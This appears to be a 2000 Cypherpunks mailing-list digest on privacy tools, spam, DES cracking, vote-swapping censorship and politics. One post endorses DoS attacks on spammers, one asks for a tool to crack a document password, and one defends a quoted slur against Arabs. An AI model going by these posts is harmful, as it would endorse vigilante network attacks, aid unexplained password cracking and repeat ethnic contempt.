-0800 Subject: psst! wanna buy some anonymity, meester? Message-ID: In which a skeptical eye is cast on various privacy enhanced web shopping tools. Here's one gem from the article: "Anonymity works in the favor of fraudsters," -- VP at Visa. http://www.startribune.com/viewers/qview/cgi/qview.cgi?template=tech_a&slug=tech03 --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From jamesd at echeque.com Fri Nov 3 08:49:28 2000 From: jamesd at echeque.com (James A, Donald) Date: Fri, 03 Nov 2000 08:49:28 -0800 Subject: CDR: Re: Nader In-Reply-To: References: Message-ID: <4.3.1.2.20001103084238.01ad68a0@shell11.ba.best.com> -- > > > > no matter how good you are. You can get rich enough to live > > > > off your investments, sure -- but reaching the billionaire > > > > league is a multi generational project. Tim May: > > > This is not true. Most billionaires in the United States did it > > > in a single generation. On the Fortune list of billionaires, > > > most made the money by starting companies. Only a handful are > > > heirs. Ray Dillinger: > > Most of them come from well-to-do families rather than filthy rich > > families, that's true. But few or none come from blue collar or > > really poor families. Tim May: > Of three billionaires I can think of off-hand, all came from poor > families. > > For example, Gordon Moore of Intel. Grew up in a fishing village, > Pescadero, halfway between Santa Cruz and San Francisco. Modest > means. > > (And his partner in forming Intel, Bob Noyce, now deceased, grew up > on a farm in Iowa.) > > For example, Larry Ellison of Oracle. Grew up dirt poor in the > midwest (Chicago, I believe, or some city similar to Chicago). > > These are two out of the top 5. > > Add to this Jim Bidzos, a near-billionaire from his Verisign > holdings alone. Poor, enlisted in Marines, etc. And there's the guy > who hired me into Intel in 1974, a poor kid from the poor side of > the tracks, name of Craig Barrett. Now CEO of Intel and worth > several hundred millions. > > (Oh, and Andy Grove, Hungarian refugee, arriving penniless in > 1956-7.) > > And look to Warren Buffet, Sam Walton, and a slew of others. > > I'd say your "few or none" point has been decisively disproved by > example. The book "the millionaire next door" does provides plausible evidence that in their origins, millionaires are close to being a cross section of America. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG 5reu3NKJr/NkOIGpX2fmomv+eNbVe5MCBbPeruvB 42CMOlug+BOUjmCtHa4RJNdWtkjsmOJj6BZO4cXg7 From baptista at pccf.net Fri Nov 3 05:54:52 2000 From: baptista at pccf.net (!Dr. Joe Baptista) Date: Fri, 3 Nov 2000 08:54:52 -0500 (EST) Subject: CDR: Re: Ken Stubbs @ core deletes vote-auction.com In-Reply-To: <3A02A4AC.B770EA79@ricardo.de> Message-ID: our ol friend Ken is up to no good again. On Fri, 3 Nov 2000, Tom Vogt wrote: > > it seems that core (i.e. the root servers) has deleted the entry for > vote-auction.com - while the whois still works and their primary > nameserver (in austria) still resolves, a regular lookup returns with > "host unknown". > > rumour has it that core carved in to demand by most possibly the feds. > here in europe the sentiment today is that by doing so core has stopped > being (if it ever was) an independent and purely technical instance and > has entered the realm of politics. for example, no matter whether or not > vote-auction.com is or is not illegal in the US, what business has a US > court or lea in blocking the site for *me* (in germany) or, for that > matter, the rest of the planet? > -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From brflgnk at cotse.com Fri Nov 3 06:35:02 2000 From: brflgnk at cotse.com (brflgnk at cotse.com) Date: Fri, 03 Nov 2000 09:35:02 -0500 Subject: CDR: Re: VerySafe? In-Reply-To: <20001103061514.F14857@ideath.parrhesia.com> References: <973254633.3a02afe95147b@webmail.cotse.com> <20001103061514.F14857@ideath.parrhesia.com> Message-ID: <973262102.3a02cd1691917@webmail.cotse.com> Quoting Greg Broiles : > On Fri, Nov 03, 2000 at 07:34:27AM -0500, brflgnk at cotse.com wrote: > > I think that's it exactly. Doesn't look like VerySafe is bringing > > anything new > > to the table. PGP already does self-decrypting files, and has better > > support than just an Outlook plugin. > > Self-decrypting (and self-anything files that need executable > permission)are tragedies waiting to occur. I have to agree, and wasn't intending to promote their proliferation. This is an essential problem, I think. Self-decryptors are easy for Joseph Q. Sixpack, but train him to trust executable attachments in general. > People who aren't technical enough to install their own copies of PGP > shouldn't be encouraged to run unknown email attachments, no matter what > the associated pretty icon looks like. Which implies that such people will be denied crypto's benefits entirely. Perhaps this is evolution in action? From tom at ricardo.de Fri Nov 3 00:42:00 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 03 Nov 2000 09:42:00 +0100 Subject: CDR: Re: Nader References: <20001102110055.A32074@cluebot.com> <20001102093044.C14857@ideath.parrhesia.com> Message-ID: <3A027A58.FA19FE78@ricardo.de> Greg Broiles wrote: > > Nader is getting a late start in the enthusiasm stakes, but it could > > be that he'll really surge. A lot of folks are mired deeply in what > > Nietzsche called "resentiment." They just don't like it when other > > people have done well by investing instead of by drinking beer for > > the past 20 years, and they want the successful people taken down a > > notch or two. > > Ironically, Nader himself is a millionaire, apparently as a result > of the investments he's made over the past 20-30 years and his > spendthrift lifestyle. Good for him - but it makes me wonder where > he'd draw the line between "wealth that's deserved" and "wealth that's > not deserved." I guess it's the same issue that I mentioned a couple days ago: it only matters if it affects you. that's why multinational corporations or the people representing them get a lot of wrath, and the solitary millionaire without a corp behind him does not. micro$oft and billy boy affect my life a lot more than the 1,000 millionaires living close by(*), most of whom I don't even know about. (*) I happen to live in Hamburg, which has germany's highest density of millionaires. From blue_screen at gmx.de Fri Nov 3 00:43:48 2000 From: blue_screen at gmx.de (blue_screen at gmx.de) Date: Fri, 3 Nov 2000 09:43:48 +0100 (MET) Subject: CDR: Lotus AmiPro3.1doc Message-ID: <6992.973241028@www12.gmx.net> Hello I was recommended to you by a friend who told me that you may be able to help me. I have to decrypt the password out of a LotusAmiPro3.1 doc. If you can tell how to do it or you have a programm to crack such docs, this would help me very much. Your help would be greatly appreciated. blue_screen -- Sent through GMX FreeMail - http://www.gmx.net From fisherm at tce.com Fri Nov 3 06:45:53 2000 From: fisherm at tce.com (Fisher Mark) Date: Fri, 3 Nov 2000 09:45:53 -0500 Subject: CDR: RE: ZKS and Ebola Message-ID: >Is that the neighbor, the employer, the insurance company, ISP, >Microsoft, her husband, or the government ? All entities on this list >except one can be effectively neutralized with single-DES and free >Anonymizer.com access. The government is the only one that can do decent >multi-network tracing and break some ciphers. The only entities that might be neutralized by single-DES are her husband and her neighbor, but that's not a sure thing. The EFF DES Cracker was built for less than $250,000 in 1993, which is just pocket change for large corporations (like GM) and well within budget for medium-sized corporations (like Thomson Consumer Electronics, where I work). There are several individuals on this list who could afford to build a single-DES cracker themselves, although they might have to take a hit on their affordability of their current lifestyle. You need to catch up on your reading as to what capabilities small organizations and private individuals now have in terms of breaking computer-based security. =============================================== Mark Leighton Fisher fisherm at tce.com Thomson Consumer Electronics Indianapolis IN "Display some adaptability." -- Doug Shaftoe, _Cryptonomicon_ From bill.stewart at pobox.com Fri Nov 3 10:03:58 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 03 Nov 2000 10:03:58 -0800 Subject: CDR: Re: ZKS, government regulation, and new "privacy" laws In-Reply-To: <200011021538.KAA10362@smtp6.mindspring.com> References: <20001102101637.A31486@cluebot.com> <20001101181628.A25757@weathership.homeport.org> <4.3.0.20001031100154.01638920@mail.well.com> <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> <20001101181628.A25757@weathership.homeport.org> Message-ID: <3.0.5.32.20001103100358.0091ac30@idiom.com> At 10:29 AM 11/2/00 -0500, John Young wrote: >Banks and telecomms been doing the snitch not nearly >as long as the church, rather the state snitching to the >church, depending on who's in charge of the day's >inquisition. (Interesting stuff in recent books on Vatican >and global intel services regular kiss-kissing.) Does anybody know if anything ever came of PGP Inc.'s attempts to get the Vatican to use PGP? (I couldn't find a PGP key on www.vatican.va, though they could be using them just internally. They do have the Secret Archives on CD-ROM now, at least for Popes from a long time ago. I guess the secrets you can find on CD-ROM aren't the real secrets....) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tom at ricardo.de Fri Nov 3 01:14:13 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 03 Nov 2000 10:14:13 +0100 Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers References: Message-ID: <3A0281E5.C2302668@ricardo.de> Kevin Elliott wrote: > You know, I don't like spammers any more than the next guy, but come > on. Unethical? we're not talking genocide and it's not like it > cause significant (heck, even measurable) harm. as a matter of fact, it does. the quantity of it, you know. if your 1 mio spam mails cause every receipient half a sec (on average) to discard, you've just wasted roughly a week of worktime. then again, 90% of your receipients will most likely waste much more time every evening *willingly* subjecting themselves to advertisement (and a little entertainment between the spots) on tv anyways. From tom at ricardo.de Fri Nov 3 01:17:33 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 03 Nov 2000 10:17:33 +0100 Subject: CDR: Re: VerySafe? References: <3A0215A7.28CB6B93@harmon.arrowhead.lib.mn.us> Message-ID: <3A0282AD.FC07EC87@ricardo.de> Harmon Seaver wrote: > > Has this been discussed on the list in recent (or even ancient) > memory? If so, I can't recall it, and looked thru my own archives going > back a couple years and didn't find it. > > http://www.verysafe.com/ why in all hell would you want to do such a thing with a proprietary, closed-source, outlook-only solution if you can do all of it with PGP? and how much difference is there between using a plugin and using PGP? to the end-user, it's all magic anyways. From bear at sonic.net Fri Nov 3 10:23:57 2000 From: bear at sonic.net (Ray Dillinger) Date: Fri, 3 Nov 2000 10:23:57 -0800 (PST) Subject: CDR: Re: psst! wanna buy some anonymity, meester? In-Reply-To: Message-ID: On Fri, 3 Nov 2000, R. A. Hettinga wrote: >--- begin forwarded text >In which a skeptical eye is cast on various >privacy enhanced web shopping tools. Here's >one gem from the article: > >"Anonymity works in the favor of fraudsters," > -- VP at Visa. Consider the business he's in. If you're lending money (which is what credit cards are about) then yes, anonymity works in favor of fraudsters, because you can't prove who it is that owes you money. If he was mainly in the *debit* card business, he wouldn't have to give a damn. But speaking from his universe of experience, he's right. Another score against privacy in the modern world is the reliance of the sheeple on debt instruments. With debt instruments, of *COURSE* they have no privacy (and no money, either, but that's a separate rant). Bear From madmullah at crosswinds.net Fri Nov 3 07:27:18 2000 From: madmullah at crosswinds.net (madmullah) Date: Fri, 03 Nov 2000 10:27:18 -0500 Subject: CDR: Re: Tim May's anti-semitic rants References: <4.3.1.2.20001019213041.019a59c0@shell11.ba.best.com> Message-ID: <3A02D956.CB59E1EF@crosswinds.net> While I'm not going to go out on a limb to defend any of Tim's statements, I will say that calling him an anti semite is bullshit. There is a mentality that equates any criticism of Israel or the Israelis with anti semiticism. This is an ugly vile and manipulative way of dealing with one's political enemies. If I criticize Britain or the British government have I criticized its people ? OF course not. Fucking A, what the hell is running loose in people's minds. Israel is no more immune from criticism than Iraq, India, or any of the other tin pot nations in the Third World, or in the First world for that matter. There is nothing sacred about Israel to a goy so we goys reserve the right to criticize it. If I criticize the Saudis am I anti Islamic ? Or anti Semitic, for that matter, considering that Arabs are at least just as much Semitic as Polish immigrants... Tim has a right to say whatsofucking ever he wishes to sya, and he exercises this right frequently. In doing so he alienates Blacks, Jews, Arabs, and little (or big for that matter) Chinese. Such is Tim's *right*. if a particular statement of his stings then its probably because it has some freeeking truth behind it... >"Remember, children of Israel, "Eretz Israel" is not the same thing >as "lebensraum," and the suppression of the ragheads in Eretz Israel >is merely pest eradication, not the "Final Solution." War is peace, >freedom is slavery, and Zionists are libertarians." To repeat again, there is nothing fucking anti Semitic about this statement, Eretz Israel is the same thing as lebensraum, and if you are incapable of seeing this then feel free to shove the previous statement up your ass. -- "I do believe that where there is a choice only between cowardice and violence, I would advise violence" - Mahatma Gandhi From bill.stewart at pobox.com Fri Nov 3 10:28:37 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 03 Nov 2000 10:28:37 -0800 Subject: CDR: Soft Money for Green Medea Benjamin Message-ID: <3.0.5.32.20001103102837.009b1100@idiom.com> The SF Bay Guardian, 11/1/00, pg.23, has a big ad for Green senatorial candidate Medea Benjamin, paid for by "Philip H. Wilkie and the Green Party of California" "Not authorized by any candidate or candidate committee". Friends, this is _soft_money_, right here in San Francisco, and it's a good example of the kind of thing many campaign finance "reform" proposals would ban - and why the First Amendment is a better campaign finance law that the ones we're using today. I highly respect Medea - she's strong, principled, and has guts. She's done a lot of election monitoring around the world. She needs to learn some reality about economics, and why economic rights are critical parts of human rights, but that's the usual Green problem. :-) I happened to catch the news the other night, where the bipartisan debate between Dianne Feinstein (boo, hiss!) and Republican Tom Campbell (who opposes the Drug War) got upstaged by Medea's protests outside KRON (or whichever TV-monopoly station it was). It was a class act, particularly when she and Campbell hugged each other after both talking to the crowd. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Fri Nov 3 11:36:14 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 03 Nov 2000 11:36:14 -0800 Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: <3.0.5.32.20001103113614.00a81e00@idiom.com> At 07:40 AM 11/1/00 -0800, James Wilson wrote: >If any of you get services from AT&T you might want to start looking for a >more ethical carrier (if one exists) - AT&T has been caught red handed >hosting spammers and promising not to terminate their services. >-----Original Message----- >From: Spam Prevention Discussion List >[mailto:SPAM-L at PEACH.EASE.LSOFT.COM]On Behalf Of Steve Linford >A copy of this fax is now at http://spamhaus.org/rokso/nevadahosting.jpg Fortunately, somebody got this to the right people at AT&T; otherwise I was going to have to contact the Sales VP (Hovancak) whose name was on the contract and ask him to find the sales rep who got fast-talked into signing that contract. AT&T's privacy policies mean that we can't reveal information on our customers' networks, so it's the PR folks' problem to tell you that we've learned the error of our ways, as revealed in the CNET article below. http://news.cnet.com/news/0-1005-200-3369773.html AT&T admits spam offense after contract exposed By Paul Festa Staff Writer, CNET News.com November 3, 2000, 9:30 a.m. PT update - AT&T acknowledged Thursday that it had violated its own spam policy by providing Web-hosting services to a purported sender of unsolicited commercial email. The admission came after an English anti-spam organization publicly posted what it termed a "pink contract" between AT&T and the alleged spammer, Nevada Hosting. AT&T had been hosting the group's Web site. "This proves that AT&T knowingly does business with spammers and shows that AT&T makes 'pink' contracts with known spammers to not terminate the spammers' services," Steve Linford of The Spamhaus Project wrote in an email interview. AT&T confirmed Thursday the authenticity of the contract and said it had been discontinued. "That document represents an unauthorized revision to AT&T's standard contract and is in direct conflict with AT&T's anti-spamming policies," wrote AT&T representative Bill Hoffman. "The agreement has been terminated, and the customer has been disconnected." AT&T's spam policy specifically rules out contracts like the one it signed with Nevada Hosting. Nevada Hosting could not be reached for comment. Anti-spam groups have long suspected the existence of pink contracts that allow spammers to promote their Web sites provided they send their unsolicited emails through other Internet service providers, according to Linford. The AT&T contact confirmed those suspicions. The Spamhaus Project's success comes as anti-spam groups increasingly bypass spammers themselves and instead target those who facilitate the dissemination of unsolicited commercial email. Those groups--mostly ISPs and server administrators--are relatively few and are easier to hold accountable than spammers. Another such pressure group is the Mail Abuse Prevention System (MAPS), which maintains the Realtime Blackhole List (RBL). The MAPS RBL blacklists servers left open to abuse by spammers. While the group's stated goal is to pressure server administrators to close avenues for spammers, the MAPS RBL has weathered criticism that it has limited effectiveness in actually blocking spam. The Spamhaus Project, based in London, positions itself as kind of spam Purgatory on the way to the MAPS RBL. Spamhaus targets entities that send spam with forged addresses and the ISPs that do business with them. "When it finds a 'stealth' spamming service, or an outfit selling stealth spamware, The Spamhaus Project sends a notice to the ISP and requests the service or site be terminated," Linford wrote. "Ninety-five percent of spam sites are terminated this way, and those that aren't are then escalated to the MAPS RBL team. "MAPS are very much our heroes." AT&T representatives have taken to Internet discussion forums in an attempt to placate spam foes and reassure them that the company's stated anti-spam policy will be enforced in future contracts. "Our sales agents have been instructed as to the correct procedure to follow and have been reminded of our existing anti-spamming policies," AT&T customer care manager Ed Kelley wrote in a posting to the "news.admin.net-abuse.email" newsgroup. "AT&T is making every effort to ensure that this does not occur again in the future." Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tom at ricardo.de Fri Nov 3 02:37:33 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 03 Nov 2000 11:37:33 +0100 Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers References: Message-ID: <3A02956D.A06485F4@ricardo.de> Sampo A Syreeni wrote: > I think it's more about the principle of it. No sane, sensible, tolerant > person would go as far as to try to regulate spam. Or, indeed, UBE-friendly > ISPs. But bulk mailing is such reprehensible behavior that it surely > deserves a pile of social and technological sanctions. Blacklisting, > shunning, DoS attacks and teergrube-kinda software immediately spring to > mind, a combination of the first and last perhaps being the least > intrusive. I totally fail to grasp why governments seem so intent on > criminalizing most such measures. To me they seem like the essential > ingredients of basic cyber-hygiene. I guess it's just that govs see that they're losing power and thus are scrambling to get themselves involved everywhere. or, on a slightly less malicious scale, they're equally desperately trying to show that they *do* have something of consequence to contribute. maybe DMCA (as much as I hate it) and the breaking of micro$oft (as much as I love it) both stem from the same emotional source. From ssyreeni at cc.helsinki.fi Fri Nov 3 01:52:25 2000 From: ssyreeni at cc.helsinki.fi (Sampo A Syreeni) Date: Fri, 3 Nov 2000 11:52:25 +0200 (EET) Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: <3A0281E5.C2302668@ricardo.de> Message-ID: On Fri, 3 Nov 2000, Tom Vogt wrote: >> You know, I don't like spammers any more than the next guy, but come >> on. Unethical? we're not talking genocide and it's not like it >> cause significant (heck, even measurable) harm. > >as a matter of fact, it does. the quantity of it, you know. if your 1 >mio spam mails cause every receipient half a sec (on average) to >discard, you've just wasted roughly a week of worktime. I think it's more about the principle of it. No sane, sensible, tolerant person would go as far as to try to regulate spam. Or, indeed, UBE-friendly ISPs. But bulk mailing is such reprehensible behavior that it surely deserves a pile of social and technological sanctions. Blacklisting, shunning, DoS attacks and teergrube-kinda software immediately spring to mind, a combination of the first and last perhaps being the least intrusive. I totally fail to grasp why governments seem so intent on criminalizing most such measures. To me they seem like the essential ingredients of basic cyber-hygiene. Sampo Syreeni , aka decoy, student/math/Helsinki university From rah at shipwright.com Fri Nov 3 09:21:45 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Fri, 3 Nov 2000 12:21:45 -0500 Subject: CDR: psst! wanna buy some anonymity, meester? Message-ID: --- begin forwarded text From tom at ricardo.de Fri Nov 3 03:42:36 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 03 Nov 2000 12:42:36 +0100 Subject: CDR: core deletes vote-auction.com Message-ID: <3A02A4AC.B770EA79@ricardo.de> it seems that core (i.e. the root servers) has deleted the entry for vote-auction.com - while the whois still works and their primary nameserver (in austria) still resolves, a regular lookup returns with "host unknown". rumour has it that core carved in to demand by most possibly the feds. here in europe the sentiment today is that by doing so core has stopped being (if it ever was) an independent and purely technical instance and has entered the realm of politics. for example, no matter whether or not vote-auction.com is or is not illegal in the US, what business has a US court or lea in blocking the site for *me* (in germany) or, for that matter, the rest of the planet? From tom at ricardo.de Fri Nov 3 03:45:56 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 03 Nov 2000 12:45:56 +0100 Subject: CDR: core deletes vote-auction.com - rev 1.1 Message-ID: <3A02A574.9184F90E@ricardo.de> replace "core" with "internic" in my previous mail - core is simply the registrar and has vote-auction.com still listed. From ptrei at rsasecurity.com Fri Nov 3 09:58:20 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Fri, 3 Nov 2000 12:58:20 -0500 Subject: CDR: RE: Nader Message-ID: [much snippage] > ---------- > From: James A, Donald[SMTP:jamesd at echeque.com] > > The book "the millionaire next door" does provides plausible evidence that > > in their origins, millionaires are close to being a cross section of > America. > > The Forbes 400, listing the 400 most wealthy Americans, is on the newstands right now. While I don't have it at hand right now, the self-made men significantly outnumber those who inherited all or part of their wealth. The cut-off point this year is $725M. The list can be browsed at http://www.forbes.com/400richest/ , but doesn't include the self made vs inherited data (which is in the dead tree edition). Peter From baptista at pccf.net Fri Nov 3 10:18:25 2000 From: baptista at pccf.net (!Dr. Joe Baptista) Date: Fri, 3 Nov 2000 13:18:25 -0500 (EST) Subject: CDR: Vint Cerf, ISOC Dictator and the CIA/NSC Man on the ICANN Board, Says Security Crucial to Internet's Future (fwd) Message-ID: COMPUTERGRAM INTERNATIONAL: NOVEMBER 03 2000 + Vint Cerf Says Security Crucial to Internet's Future Vinton Cerf, one of the few men who can claim to be credited with being the "father of the internet", yesterday warned that security needs to tighten up in most areas if the internet is to fully achieve its potential. Cerf, WorldCom Inc's senior vice president of internet architecture and technology, made his plea for tighter security at the Compsec2000 International conference in London, UK yesterday. Cerf, who is perhaps best known as the co-designer of the web's TCP/IP protocols, outlined numerous areas where security could be improved. He named cryptographic technology, network security, host security and internet-enabled appliances among the main candidates where improvements are needed. First on Cerf's hit list is the problem of cryptography. Cerf pointed to the need for a universally adopted non-proprietary standard. While the US National Institute of Standards and Technology (NIST) has now accepted the Rijndael algorithm of Belgian researchers Vincent Rijmen and Joan Daemen as its sole candidate for standardization, the search for alternative standards in both Japan and Europe threatens the possibility of a unified approach, he said. Cerf also criticized the slow rate of adoption of public key infrastructure (PKI) in the public and cross enterprise arenas, and argued strongly for the separation of identification and authentication. Identity, he said, should just be a means of declaring oneself for validation. Registering should not itself confer authority. That should be left to individual entities based on their own database rather than centralizing all knowledge of individuals. Cerf said there is a also a need for multiple public and private keys to avoid people using others' public keys as identifiers. He also argued that global verification standards may need to relinquished in favor of using different methods for individuals, enterprises and governments. In terms of network security, Cerf said the internet protocol security (IPSec) standard is well specified, giving hosts the chance to defend themselves, but there is still a need to adopt a common key distribution process and firewalls that defend against internal threats. He also said there is a need for end-to-end encryption in VPNs in order to prevent any danger from packet leaks into other networks. Host security is also critical, especially in a world of increasingly distributed systems. Cerf said internal firewalls within operating systems may be needed to overcome their inherent security weaknesses. He also advocated mutual and continuous authentication between devices to prevent hijacking of IP addresses and active monitoring, for instance for virus detection and trojan horse signatures. Within the distributed world, internet-enabled appliances, such as the much-hyped internet refrigerator, are likely to form the next target for hackers, he said. As such, he said that authentication is needed for secure device control from the net to stop, say, the kid next door reprogramming your house while you are away. The profusion of such devices, enabled by putting IP into hardware, will also quickly put a strain on IP address space, he said. .............................................................. Michael Sondow ================================================================= INTERNATIONAL CONGRESS OF INDEPENDENT INTERNET USERS http://www.iciiu.org (ICIIU) iciiu at iciiu.org Tel(718)846-7482 Fax(603)754-8927 ================================================================= From tourvision at tourvision.net Fri Nov 3 04:21:14 2000 From: tourvision at tourvision.net (Tourvision) Date: Fri, 3 Nov 2000 13:21:14 +0100 Subject: CDR: Web Message-ID: <004a01c04590$8f5bf730$0100a8c0@ALICIA> Dear Sirs, We are pleased to forward our Internet address where you will find some of our products. We are constantly updating to provide you whit complete information regarding our company as well as our new products under development. www.tourvision.net Thank you for visiting us! ______________________________________________________________________ Estimados señores, Les comunicamos nuestra dirección en Internet donde encontraran parte de nuestros productos. Seguimos trabajando para darles toda la información de nuestra empresa asi como los nuevos productos en preparación. www.tourvision.net Gracia por visitarnos! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 4732 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: clip_image002.jpg Type: image/jpeg Size: 6725 bytes Desc: not available URL: From baptista at pccf.net Fri Nov 3 10:30:49 2000 From: baptista at pccf.net (!Dr. Joe Baptista) Date: Fri, 3 Nov 2000 13:30:49 -0500 (EST) Subject: CDR: ACLU Charges Political Censorship, Challenges CA's Shutdown of Votexchange.com (fwd) Message-ID: ---------- Forwarded message ---------- Date: Fri, 3 Nov 2000 11:36:53 -0800 From: Simon Higgs To: DOMAIN-POLICY at LISTS.NETSOL.COM Subject: ACLU Charges Political Censorship, Challenges CA's Shutdown of Votexchange.com ACLU Press Release: 11-02-00 -- ACLU Charges Political Censorship, Challenges CA's Shutdown of Votexchange.com ACLU Charges Political Censorship, Challenges CA's Shutdown of Votexchange.com Thursday, November 2, 2000 LOS ANGELES The ACLU affiliates of Southern California and San Diego announced today that they will seek a temporary restraining order against California Secretary of State Bill Jones, who threatened criminal prosecution against a voter discussion and strategizing web site called Voteswap 2000. As a result of a letter Jones sent to Voteswap, that web site and two others, including the ACLU client votexchange2000.com, decided to shut down this week rather than run the risk of being prosecuted. The ACLU is also filing the lawsuit on behalf of a prospective voter. The National Voting Rights Project joins the ACLU as co-counsel in the case. "Votexchange2000 and other similar web sites have a clear political message," said Peter Eliasberg, staff attorney at the ACLU of Southern California, "and that qualifies them for the highest level of protection under the First Amendment, whether or not Secretary Jones approves of their message or aim." "Jones's interpretation of this statute is so far-reaching," he added, "that it could encompass a vast array of voting-related behavior and speech which we all recognize as perfectly legitimate, even if we don't practice them ourselves." The vote discussion and matching sites sprang up as early as October 1, and several were launched recently in response to an on-line opinion piece advocating that voters get together on-line and strategize about how to accomplish their shared aims. Scores of thousands of potential voters have visited the sites since they were launched. Republican Secretary of State Bill Jones cracked down on the innovative discussion of voting strategies, claiming that sites which host and facilitate such discussions violate California's Election Code � 18521, which prohibits offering payment or any other "valuable consideration" to people so that they will or will not vote. ACLU attorneys say the law is not applicable, or, if construed to be applicable, that it is not, in that case, Constitutionally sound. "Discussing and agreeing to a co-operative voting strategy is absolutely distinct from offering or receiving payment for a vote," said Eliasberg. "This is not equivalent to handing someone a five-dollar bill -- it is an obviously unenforceable and unverifiable personal pledge to vote in a certain way." "Jones's interpretation of this law could conceivably qualify any kind of speech as an inducement," he added. "If I promise to commend a person for voting in a way I approve of, is that offering an inducement?" Eliasberg offered the following examples of voting-related behavior and speech that Jones's interpretation of the law would make criminal: Two spouses discuss their vote, realize they disagree on every important issue, and agree that, since they're cancelling one another out, neither will vote. Two friendly legislators who disagree with one another's positions arrange not to vote on two separate occasions, when one, then the other, is absent, thus cancelling out the effect of their absences on the final decisions made. ; A politician such as Governor George Bush or Vice President Al Gore offers a monetary inducement in the form of a tax cut to a voter. A politician, during tough economic times, promises "a chicken in every pot" if voters cast their vote for him. A political columnist urges voters to do exactly what the web sites in question urge them to do. "Bill Jones seems to be afraid of the Internet and the powers of expression and association that it gives to people," said Eliasberg. "That power of combining immediate association and direct speech is the reason people have sought to regulate the Internet more strictly than other media. I don't believe that Jones would have made the same threats if the same content had been expressed in a more traditional medium such as a newspaper column or a call-in radio show." "Jones and other government officials and agencies need to take notice," said Eliasberg. "The ACLU will not allow the Internet to become the First Amendment punching bag, to become the one medium in which we allow the government to act out its habitual suspicion of public free speech and free association." Best Regards, Simon -- I hope you're taking good notes, because history will be reported differently. From matthewgream at hotmail.com Fri Nov 3 07:16:33 2000 From: matthewgream at hotmail.com (matthew gream) Date: Fri, 03 Nov 2000 15:16:33 GMT Subject: CDR: Re: The Market for Privacy Message-ID: Tim May wrote: >Fact is, most people don't think they need security. Most people don't even >think they need backups. Until their hard disk crashes. And so on. It's a >tough sell in either case. There are similarities to conventional society where people don't think that they need to save money for retirement, until they find themselves old, without much to live on, and expect the state to look after them. So maybe some privacy technologies need to be forced into use, through some means - maybe even the social consciences (even if only for self interest) of technologists -- people don't always know what is good for them until its too late (that will offend some people, but it is a hard to deny fact). My thinking is that sometimes in general it is possible to see that certain technologies are going to develop, but not see their exact manifestation. A good example of this is the Internet - people saw the "information highway" coming, but did not see that it would be "the Internet" or WWW - some of these technologies hit mass penetration, only after which it becomes apparent that they are deficient - for instance, the immaturity of WWW as an information structuring medium viz. SGML, hypermedia technologies and so on. What I am leading into is - perhaps ZKS will die, and perhaps what will happen is that other commercial needs will drive forward a mass penetration of something like smart card hosted identity management systems, used for banking, health care and a plethora of other situations which are more relevant to the daily life of most people. But, perhaps using this infrastructure, ZKS like and other privacy systems can operate. Perhaps I am a skeptic, but I see millions of people who have an immediate need for banking, healthcare, mobile phones and other operations before they have a need for identity management - it is an important, but yet still obscure, thing. So I see something like a smartcard hosted identity management system, which can be a platform for ZKS (and others?) to build upon for a myriad of other applications. The other area where I thought that ZKS could get a "leg on", is with providing privacy infrastructure for digital exchanges and negotiation systems. Could freed0m be good basis for providing anonymity and trusted virtual networks over potentially insecure physical networks ? That's relatively lightly thought through speculation on my behalf. Lucky Green wrote: >It appears that ZKS is yet another company that fell prey to the >DigiCash >"we know better than the market what the market wants" syndrome. What a >shame, really. In my opinion the basic technologies look good, but the commercial front end hasn't found a good home yet, maybe ZKS will stumble along for a while until it finds a better place for itself to fit. It seems as though the market will be there, but perhaps the volume is too small at the moment. Best regards, Matthew Gream. _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From tcmay at got.net Fri Nov 3 15:18:11 2000 From: tcmay at got.net (Tim May) Date: Fri, 3 Nov 2000 15:18:11 -0800 Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: <3.0.5.32.20001103113614.00a81e00@idiom.com> References: <3.0.5.32.20001103113614.00a81e00@idiom.com> Message-ID: At 11:36 AM -0800 11/3/00, Bill Stewart wrote: (about AT&T knowingly supporting Spam sites) > >Fortunately, somebody got this to the right people at AT&T; >otherwise I was going to have to contact the Sales VP (Hovancak) >whose name was on the contract and ask him to find the sales rep >who got fast-talked into signing that contract. >AT&T's privacy policies mean that we can't reveal information on >our customers' networks, so it's the PR folks' problem >to tell you that we've learned the error of our ways, Oh, I doubt AT&T has "learned the error of its ways." This is just their spin control. Like Esther Dyson's spin control..."I won't let it happen again." Until, of course, the next mass mailing to her "Dear Friends" goes out. --Tim May -- 